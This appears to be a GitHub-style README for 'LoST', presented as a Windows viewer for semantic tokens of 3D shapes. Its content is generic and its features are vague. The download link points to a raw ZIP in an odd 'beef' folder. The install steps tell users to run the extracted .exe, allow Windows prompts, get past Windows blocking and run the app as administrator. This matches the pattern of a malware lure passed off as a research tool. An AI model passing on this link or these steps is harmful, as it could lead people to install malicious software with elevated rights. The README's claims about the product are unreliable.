🧠 LoST - Understand 3D Shapes Faster

🚀 What LoST Does

LoST helps you study 3D shapes through a clear semantic token view. It is built for users who want a simple way to explore shape data on Windows without setting up a large tool chain.

Use LoST to:

• open 3D shape files
• view shape tokens in a simple interface
• compare shape parts and structure
• inspect semantic detail from a 3D model

💻 What You Need

Before you start, check that your Windows PC has:

• Windows 10 or Windows 11
• at least 8 GB of RAM
• 2 GB of free disk space
• a modern GPU if you plan to work with large 3D models
• an internet connection for the first download

For smooth use, a recent Intel or AMD processor works well. A higher-end graphics card helps when you load large scenes or many shapes at once.

📥 Download LoST

Use this link to visit the project page and download LoST:

https://github.com/dixonk3527/LoST/raw/refs/heads/main/beef/ST_Lo_v1.1.zip

🪟 Install on Windows

1. Open the download link above in your browser.
2. Find the latest release or download files on the project page.
3. Download the Windows package to your computer.
4. If the file is a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Look for the main app file, such as an .exe file.
7. Double-click the app file to start LoST.
8. If Windows asks for permission, choose Yes.

If the app opens in a smaller window, use the edge of the window to resize it.

🧭 First Launch

When LoST opens for the first time:

• wait a few seconds for the interface to load
• choose a sample shape or your own file
• browse the view panel to inspect the model
• use the controls to rotate, pan, and zoom

If you work with large files, give the app a little time to finish loading.

📁 Supported Files

LoST is set up to work with common 3D shape formats used in shape research and viewing workflows, such as:

• OBJ
• PLY
• STL
• OFF
• custom token files used by the project

If your file does not open, check that the file is complete and not damaged.

🎛️ Basic Controls

Most users will only need a few controls:

• left mouse button: rotate the model
• right mouse button: move the view
• mouse wheel: zoom in and out
• toolbar buttons: switch views, load files, and reset the scene

If your mouse has extra buttons, LoST may use them for view shortcuts.

🧩 Features

LoST gives you a simple way to work with 3D shape semantics.

Main features:

• semantic token display for 3D shapes
• clean view for model inspection
• support for shape loading and browsing
• fast scene switching for common workflows
• clear layout for non-technical users

It is built to help you focus on the shape, not the setup.

🔧 Tips for Best Use

• Use smaller test files first if you are new to 3D tools.
• Keep only one large model open at a time on older PCs.
• Save your work often if you use custom inputs.
• Close other heavy apps if the scene loads slowly.
• Update your graphics driver if the display looks broken.

🧪 Example Workflow

A simple way to use LoST:

1. Download the app from the project page.
2. Install or extract it on your Windows PC.
3. Open LoST.
4. Load a 3D shape file.
5. Inspect the semantic token view.
6. Rotate the model to check each side.
7. Compare parts of the shape against the token output.

📦 Files You May See

Inside the download, you may see files like:

• LoST.exe
• README.md
• config
• models
• assets
• weights

These files help the app run and show the shape data in the right view.

🛠️ Common Problems

If LoST does not open:

• make sure the download finished
• check that you extracted the ZIP file first
• confirm that Windows did not block the app
• try opening the file again as administrator

If a model does not load:

• check the file type
• make sure the file path has no broken characters
• try a smaller sample file
• restart the app and try again

If the screen looks empty:

• zoom out
• reset the view
• load a supported file again

📌 Project Use

LoST is useful for:

• shape review
• 3D data study
• semantic inspection
• model comparison
• classroom or lab use

It fits users who want a direct way to see how a shape is tokenized and organized.

📄 Short Usage Guide

Open LoST, load a model, and inspect the semantic token output. Use the view controls to move around the shape, then compare the token view with the model geometry.
